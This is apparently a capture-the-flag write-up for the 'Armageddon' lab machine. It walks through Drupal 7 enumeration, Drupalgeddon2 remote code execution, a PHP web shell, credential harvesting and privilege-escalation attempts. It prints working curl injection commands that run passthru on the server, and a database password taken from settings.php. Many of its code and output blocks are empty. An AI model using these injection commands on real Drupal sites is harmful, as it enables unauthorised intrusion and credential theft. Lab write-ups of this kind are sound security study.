Armageddon

Personal Rating: Medium

This box was rather basic, but the privilege escalation did not work the intended way and I am not sure if that was my fault. That is why I used a different way in the end. Either way, the main exploit was a lot of fun and I edited the commands for it to script a basic PoC myself.

Enumeration

sudo nmap -sV -sC <IP>

22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to  Armageddon |  Armageddon

I can already see that its a Drupal 7 page, so I ran droopescan: ./droopescan scan drupal -u http://10.10.10.233

[+] Plugins found:                                                              
    profile http://10.10.10.233/modules/profile/
    php http://10.10.10.233/modules/php/
    image http://10.10.10.233/modules/image/

[+] Themes found:
    seven http://10.10.10.233/themes/seven/
    garland http://10.10.10.233/themes/garland/

[+] Possible version(s):
    7.56

[+] Possible interesting urls found:
    Default changelog file - http://10.10.10.233/CHANGELOG.txt

The version is striking here as this searchsploit query confirmed:

searchsploit drupal 7.5

Considering the name Armageddon and the Drupal version, it will be either Drupalgeddon2 or 3 for the RCE. There are metasploit modules for it, but I want to do it without for now.

I found this, but it turned out it only works for Drupal8. https://github.com/ruthvikvegunta/Drupalgeddon2

Drupalgeddon

Here I read that the exploit for 7.x is different from the newer versions:

https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708

I slightly modified one of the curl commands to this:

curl -k -s 'http://10.10.10.233/index.php?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=uname+-a' --data "form_id=user_pass&_triggering_element_name=name" | grep form_build_id

Output:

This command was the actual injection after obtaining the form id:

curl -k -i "http://10.10.10.233/index.php?q=file/ajax/name/%23value/${form_build_id}" --data "form_build_id=${form_build_id}"

Output:

Great, this worked perfectly. As you can see, this exploit has two stages. First you obtain the form-build-id via an authentication bypass, already giving the injected command, in this case uname -a. Then you obtain the output of the command, querying the page for the according form build id. Here you can see the full process as it worked out for me:

As you can see, I already achieved RCE with this. Now I want more automation and a shell.

Shell Access

I assembled this command, which executes the uname -a command in one line of bash code:

From that I created a bash poc to simplify the execution:

Output:

Using my poc and the following payload, I could write a simple php shell that can hopefully enable me to get a proper shell:

Great! So far so good. Though, I did not manage to get a bash shell with this at first. I did some more enumeration:

Output:

'settings.php' looks interesting. I used cat and saved the output to search it for credentials. In such cases I like to run something along those lines: cat file | grep -i 'password'

This yielded me a database user with a password:

Using cat to get /etc/passwd from the server I also found the user 'brucetherealadmin'.

The password does not work with the user, so I will try cracking the hash.

Well, it failed. Another idea came to mind, which actually failed as well: https://dev.mysql.com/doc/refman/8.0/en/mysqldump-sql-format.html mysqldump -u drupaluser -p ‘CQHEy@9M*m23gBVj’ --databases drupal > dump.sql

After these attempts did not work and I also failed to get a bash shell, I searched for other options, using my php shell. Python seems feasible and I don't know why I did not think about this so far.

This finally worked the get an actual shell on the host:

User Access

Since we still have the SQL credentials, we can try to dump the sql database for drupal again and search it. I am certain it did not work before because of some encoding issue. From the box it should work. And indeed:

Using this page I identified the hash type to be Drupal7:

LogoHash Type Identifier - Identify unknown hasheshashes.com

Shell access was very close now:

Internal Enumeration

Running some enumeration commands returned some possible privilege escalation vectors:

There was an SUID binary and the kernel was very old too. Since these results were already pretty interesting I did not bother enumeration further for now.

Privilege Escalation

I searched for snap as a GTFOBin, but the two exploits I tried did not work. This is about creating a malicious snap package to then install it with elevated permissions.

1) https://github.com/0xAsh/Snap_Generator.git

2) https://github.com/j4k0m/dirty_snap/blob/master/dirty_snap.sh

It already took me a while to find a working snap package generation method. This one was it:

But whatever I tried, I always received the error 'snap is unusable due to bad permissions; contact developer'. Since the intended way seemed to be broken I resorted to a different way, this time using metasploit. Of course it could also be that I just found broken exploit generators. But I focused on the old kernel from there on. local_exploit_suggester returned some output to work through:

Well, now it was easy. Though I would have preferred the snap way. I might look into that another time as this was obviously the intended way to get root.

PreviousAnalyticsNextBashed

Last updated